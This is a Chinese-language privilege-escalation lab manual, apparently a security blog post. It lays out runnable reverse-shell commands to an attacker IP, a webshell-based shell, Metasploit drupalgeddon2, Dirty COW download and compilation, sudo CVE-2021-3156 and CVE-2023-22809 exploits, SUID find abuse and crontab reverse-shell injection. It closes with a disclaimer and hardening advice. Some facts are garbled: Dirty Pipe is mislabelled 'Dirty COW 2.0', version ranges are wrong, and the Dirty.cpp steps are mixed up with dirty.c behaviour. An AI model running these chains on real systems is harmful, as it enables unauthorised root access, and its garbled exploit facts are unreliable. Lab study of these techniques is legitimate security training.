ARTICLE DETAIL

资讯详情

深耕网站建设与运营推广的一线实战洞察。

Linux提权完整实验手册:从反弹Shell到Root权限

Linux提权完整实验手册:从反弹Shell到Root权限

法律安全警示:依据《中华人民共和国网络安全法》,任何个人和组织不得从事非法侵入他人网络、干扰他人网络正常功能、窃取网络数据等危害网络安全的活动。本文档内容仅用于网络安全合规学习、企业内部安全运维、授权渗透测试场景,严禁用于未授权的非法攻击行为。

整理了这份笔记,以供复盘和学习交流之用。

一、实验环境与前置基础

本次实验全部在本地虚拟化环境中完成,不涉及任何真实互联网资产。攻击机使用Windows宿主机(IP:192.168.198.1)与Kali 2023(作为辅助攻击机),靶机使用Kali 2020(用于测试反弹Shell及基础命令)以及Lampiao脏牛专属靶机(Vulnhub靶场,内核版本4.4.0-31-generic)。所有操作均在VMware虚拟网络下进行,确保网络互通。

默认网站根目录:Apache为/var/www/html,Nginx为/usr/share/nginx/html。实验前请确认Apache服务已启动,并将木马文件(如hao.php)放置于网站根目录。

1.1 12类Linux命令速查

进入正式实验前,先复习一下常用的Linux命令。以下命令按功能分类整理,覆盖系统信息、文件操作、进程管理、用户账户、网络服务等场景,是Linux提权过程中最常用的指令集合。

分类命令/示例说明
系统信息查看uname -a
cat /etc/issue
cat /etc/*-release
date
whoami
who
w
last
lastlog
内核版本、发行版、当前用户、登录记录等
文件目录操作dir / ls -al
pwd
cd / cd ..
cat 文件名 / cat >abc.txt
cp / mv / rm
mkdir / rmdir
chmod
grep
diff / find
列出、切换、创建、复制、移动、删除、权限修改、文本搜索、文件比较与查找
用户账户管理cat /etc/passwd
cat /etc/shadow
useradd
groups
passwd
grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}'
查看所有用户、密码(需root)、添加用户、查看组、改密码、列出超级用户
进程控制ps
kill
查看进程状态、终止进程
程序编译gcc编译C语言源码,常用于编译提权EXP
权限转换su切换用户身份
网络服务telnet IP
ftp
远程连接、文件传输
历史命令history查看当前用户执行过的命令记录
文件查看more分页查看文本文件
压缩解压(未列,但常用tar/gzip)打包、压缩、解压
程序安装apt / yum包管理工具
其他(补充:netstat、ss、nmap)网络连接、端口监听、扫描

二、反弹Shell:交互式Shell与WebShell的本质区别

在Linux提权的攻击链中,反弹Shell是承上启下的关键环节。WebShell(如PHP木马)只能以非交互方式执行命令,每次执行都会启动一个新进程,环境变量无法保持,且无法运行需要终端交互的程序(如vim、top、提权脚本)。而交互式Shell通过建立TCP长连接,将目标主机的标准输入/输出/错误全部重定向到攻击机,从而获得完整的命令行控制权。

核心区别:WebShell是"命令执行器",交互式Shell是"终端仿真器"。绝大多数内核漏洞利用程序(如脏牛)和Sudo漏洞EXP都必须在交互式Shell中运行,否则会因无法处理交互提示或信号而失败。

2.1 /bin/sh 与 /bin/bash 的差异

在Debian/Kali系统中,/bin/sh默认指向dash(轻量级POSIX解释器),而非bash。dash不支持/dev/tcp网络重定向、数组、高级重定向语法等bash扩展特性。当通过WebShell执行命令时,系统默认使用/bin/sh -c来解析命令,因此直接执行bash -i >& /dev/tcp/...会报语法错误。正确的做法是使用Python、Perl等不依赖shell特性的方式,或者通过/bin/bash -c '...'强制指定解释器。

2.2 实验:通过WebShell(hao.php)反弹交互式Shell

步骤1:在Kali 2020靶机上搭建Apache网站

# 启动Apache服务 /etc/init.d/apache2 start # 或 service apache2 start # 查看状态 service apache2 status # 确认IP地址 ifconfig

将hao.php木马文件放置于网站根目录/var/www/html下,通过浏览器访问http://靶机IP/hao.php确认木马可访问。

步骤2:攻击机(Windows)开启NC监听

在Windows宿主机上,进入nc.exe所在目录,执行:

nc -lvvp 12666

步骤3:在WebShell中执行反弹

访问hao.php,进入WebShell管理界面,找到"反弹连接"功能,选择"Socket 反弹 - Linux"或"C/Perl反弹"模式,填写攻击机IP(192.168.198.1)和监听端口(12666),点击执行。此时NC监听窗口应收到连接,获得交互式Shell。

步骤4:Python升级为完整TTY

在获得的Shell中执行以下命令,解决Tab补全、命令历史等问题:

python -c "import pty; pty.spawn('/bin/bash')"

2.3 纯Bash反弹(不依赖WebShell)

若目标主机可直接执行命令(如通过SSH),可使用以下标准反弹方式:

# 攻击机监听 nc -lvvp 8000 # 靶机执行 bash -i >& /dev/tcp/192.168.198.1/8000 0>&1

该命令通过/dev/tcp虚拟设备建立TCP连接,将交互式bash的输入输出与网络套接字绑定。

三、内核漏洞提权:脏牛(Dirty Cow)完整复现

脏牛漏洞(CVE-2016-5195)是Linux内核中一个经典的竞争条件漏洞,影响内核版本2.6.22至3.9(脏牛1.0),以及部分4.x内核(脏牛2.0,CVE-2022-0847)。漏洞原理:当进程尝试修改只读内存页时,另一个进程并发访问该页,导致权限检查被绕过,攻击者可借此覆写任意文件(如/etc/passwd),从而创建root权限用户。

实验靶场:Lampiao(Vulnhub靶场,内核4.4.0-31-generic),下载地址:Lampião: 1 ~ VulnHub。靶机开放端口:22(SSH)、80(HTTP)、1898(Drupal)。

3.1 信息收集与MSF GetShell

使用nmap扫描网段定位靶机IP:

nmap 192.168.198.0/24 nmap -p- 192.168.198.155

选择MSF模块的Rank依据

在Metasploit中搜索Drupal相关模块时,会显示每个模块的Rank(评级)。Rank从低到高依次为:manual(手动)、low、average、normal、good、great、excellent。在实验中,应优先选择Rank为excellent、great或good的模块,因为这些模块经过广泛验证,成功率和稳定性更高。例如,drupal_drupalgeddon2的Rank为excellent,是本次实验的首选。

msfconsole search drupal # 输出模块列表,观察Rank列 use exploit/unix/webapp/drupal_drupalgeddon2 show options set RHOSTS 192.168.198.155 set RPORT 1898 set LHOST 192.168.198.1 # 攻击机IP run

获得会话后,进入交互式Shell:

shell python -c 'import pty; pty.spawn("/bin/bash")'

3.2 搭建临时文件传输服务

在Windows宿主机上,打开CMD,进入存放dirty.c源码的目录,然后使用Python 3开启HTTP服务,将当前目录绑定到8080端口,使靶机能够通过HTTP下载文件。

python -m http.server 8080 --bind 192.168.198.1

执行后,当前目录下的所有文件均可通过 http://192.168.198.1:8080/ 访问。若本机防火墙阻止,需临时放行8080端口。

此外,也可以使用棱角社区(forum.ywhack.com)提供的"文件下载命令生成工具",快速生成wget或curl指令,简化文件传输过程。

3.3 脏牛提权执行

查看内核版本确认漏洞存在:

uname -a # Linux lampiao 4.4.0-31-generic ...

在攻击机上下载脏牛1.0源码(dirty.cpp),并放置于HTTP服务目录:

# 攻击机(Kali/Windows) wget https://www.exploit-db.com/raw/40847 -O Dirty.cpp # 将 Dirty.cpp 放在 HTTP 服务根目录 # 靶机(Lampiao) cd /tmp wget http://192.168.198.1:8080/Dirty.cpp .ccp的⽂件在Linux系统中⽆法直接利⽤,因此需要编译 g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow Dirty.cpp -lutil 命令注释: -Wall ⼀般使⽤该选项,允许发出GCC能够提供的所有有⽤的警告 -pedantic 允许发出ANSI/ISO C标准所列出的所有警告 -O2编译器的优化选项的4个级别,-O0表⽰没有优化,-O1为缺省值,-O3优化级别最⾼ -std=c++11就是⽤按C++2011标准来编译的 -pthread 在Linux中要⽤到多线程时,需要链接pthread库 -o dcow gcc⽣成的⽬标⽂件,名字为dcow #执⾏编译好的脚本⽂件: ./dcow -s

执行成功后,统会新增一个名为firefart的root权限用户,密码为123456。切换用户即可获得root:

whoami # root

四、Sudo与SUID配置漏洞提权

本节将Sudo漏洞提权放在前面,因为Sudo漏洞(如CVE-2021-3156、CVE-2023-22809)在实战中利用更直接,影响范围更广。

4.1 Sudo漏洞提权(CVE-2021-3156)

CVE-2021-3156(Baron Samedit)是sudo程序的一个堆缓冲区溢出漏洞,影响sudo 1.8.2 ~ 1.8.31p2及1.9.0 ~ 1.9.5p1版本。利用该漏洞,任何本地普通用户无需密码即可获得root权限。

利用步骤:

sudo --version # 确认版本 mkdir exp && cd exp # 上传brute.sh, hax.c, lib.c, Makefile至该目录 make ./sudo-hax-me-a-sandwich 0 # 0对应Ubuntu 18.04 # 成功则输出 [+] bllng bllng! We got it! whoami # root

4.2 CVE-2023-22809 Sudoedit权限绕过

CVE-2023-22809漏洞影响sudo 1.8.0 ~ 1.9.12p1版本,允许攻击者利用sudoedit的环境变量注入,绕过配置文件校验,编辑任意文件从而提权。利用方法类似:上传SUDO-EXP.sh脚本,赋予执行权限后运行。

chmod 777 SUDO-EXP.sh bash SUDO-EXP.sh # 提示输入y确认,提权至root

4.3 SUID特殊权限提权

SUID(Set User ID)是一种特殊权限位,当可执行文件设置了SUID位(权限4000)后,任何用户执行该文件时,都会临时获得文件属主的权限。若属主为root,则普通用户可通过该程序执行root操作。常见高危SUID程序包括find、vim、bash、nmap等。

查找SUID文件:

find / -perm -4000 2>/dev/null

以find命令为例,若其具有SUID权限:

touch test find test -exec whoami \; # 输出root find test -exec "/bin/bash" -p \; # 弹出root shell

若出现权限受限,也就是我们说的提前到一半被卡住,可使用Python强制重置UID:

python -c "import os; os.setuid(0); os.setgid(0); os.system('/bin/bash')"

五、计划任务Crontab反弹Shell提权

计划任务提权属于配置失误类漏洞。管理员有时会以root身份运行定时脚本,但若脚本或脚本所在目录权限为777,则普通用户可篡改脚本内容,注入反弹Shell命令,等待下一次定时触发即可获得root权限。

实验复现步骤(本地Kali模拟):

# 以root身份创建可写的定时脚本 sudo -i cat > /tmp/backup.sh << 'EOF' #!/bin/bash echo "Backup done" >> /tmp/log.txt EOF chmod 777 /tmp/backup.sh echo "* * * * * root /tmp/backup.sh" >> /etc/crontab exit # 普通用户身份注入反弹Shell echo 'bash -i >& /dev/tcp/192.168.198.1/4444 0>&1' >> /tmp/backup.sh # 攻击机监听 nc -lvvp 4444 # 等待最多60秒,即可收到root反弹Shell

六、命令速查表

本速查表已包含本次实验涉及的所有关键命令,并且补充了Python HTTP服务启动、棱角社区工具提示等内容。

目的命令示例备注/原理
查看内核版本uname -a确认脏牛等漏洞是否适用
查找SUID文件find / -perm -4000 2>/dev/null寻找可提权的二进制程序
反弹Shell(bash)bash -i >& /dev/tcp/IP/PORT 0>&1需要目标系统使用bash
反弹Shell(Python)python -c "import socket,subprocess,os; ..."通用,不依赖shell特性
启动Python HTTP服务python -m http.server 8080 --bind IP用于靶机下载文件,也可使用棱角社区工具生成wget/curl命令
脏牛提权编译gcc -pthread dirty.c -o dirty -lcrypt编译后执行 ./dirty 密码
CVE-2021-3156利用./sudo-hax-me-a-sandwich 0需匹配目标系统编号
CVE-2023-22809利用bash SUDO-EXP.sh确认sudo版本在1.8.0~1.9.12p1
find提权find test -exec "/bin/bash" -p \;-p参数保留SUID权限
计划任务篡改echo '反弹命令' >> /path/script.sh前提:脚本可写且以root运行
强制重置UIDpython -c "import os; os.setuid(0); os.system('/bin/bash')"解决部分提权后权限受限问题

七、综合防御与安全开发思考

从安全防御的角度,本次实验中的每种提权手法都有对应的加固措施:

内核层面:定期更新Linux内核,及时修复脏牛等本地提权漏洞;限制/dev/mem访问,开启KASLR等内核加固特性。

文件权限层面:严禁为find、vim、bash等工具设置SUID权限;定期巡检系统中所有SUID文件(find / -perm -4000),移除不必要的SUID位;定时任务脚本及所在目录应设置为700,仅允许root读写执行。

Sudo层面:升级sudo至最新稳定版(至少1.9.12p2以上);严格管控/etc/sudoers,禁止普通用户拥有ALL权限;限制sudo可执行的命令白名单,禁止通过sudo调用编辑器或shell。

Web安全层面:网站运行用户应使用低权限账号(如www-data),禁止以root启动Web服务;严格过滤上传文件,防止一句话木马等恶意脚本被上传执行。

监控与审计:开启系统审计日志(auditd),监控SUID文件变更、sudo调用、计划任务修改等异常行为;定期审查/var/log/syslog中的Cron执行记录。

八、拓展阅读与留言

以下为本文档涉及的所有外部拓展链接:

脏牛2.0漏洞利用https://www.cnblogs.com/nanhe7/articles/15983002.html

CVE-2023-22809 Sudo漏洞详解https://blog.csdn.net/m0_46317063/article/details/131062002

Sudo各类提权方法合集https://mp.weixin.qq.com/s/wl714G1TRqhqE6KOOnEJPg

SUID提权全工具利用https://pentestlab.blog/2017/09/25/suid-executables/

Linux全套提权总结文档https://www.cnblogs.com/hellobao/articles/17259849.html

反弹Shell在线生成工具https://forum.ywhack.com/shell.php

反弹Shell教程博客1https://blog.csdn.net/weixin_53747497/article/details/131692315

反弹Shell教程博客2http://www.360doc.com/content/22/0918/19/77981587_1048422017.shtml

反弹Shell教程博客3https://blog.51cto.com/u_12343119/5851134

Exploit-DB漏洞详情页EDB-19256https://www.exploit-db.com/exploits/19256

Linux内核漏洞EXP开源仓库https://github.com/SecWiki/linux-kernel-exploits

Sudo漏洞靶场搭建教程https://blog.csdn.net/qq_40280673/article/details/134551826

SUID权限基础详解https://blog.51cto.com/rachy/1882559

SUID/SGID/Sticky三特殊权限讲解https://blog.51cto.com/chomper/1684724


本文档仅供网络安全学习与授权测试参考,请勿用于非法活动。欢迎留言交流实验心得与问题。

返回列表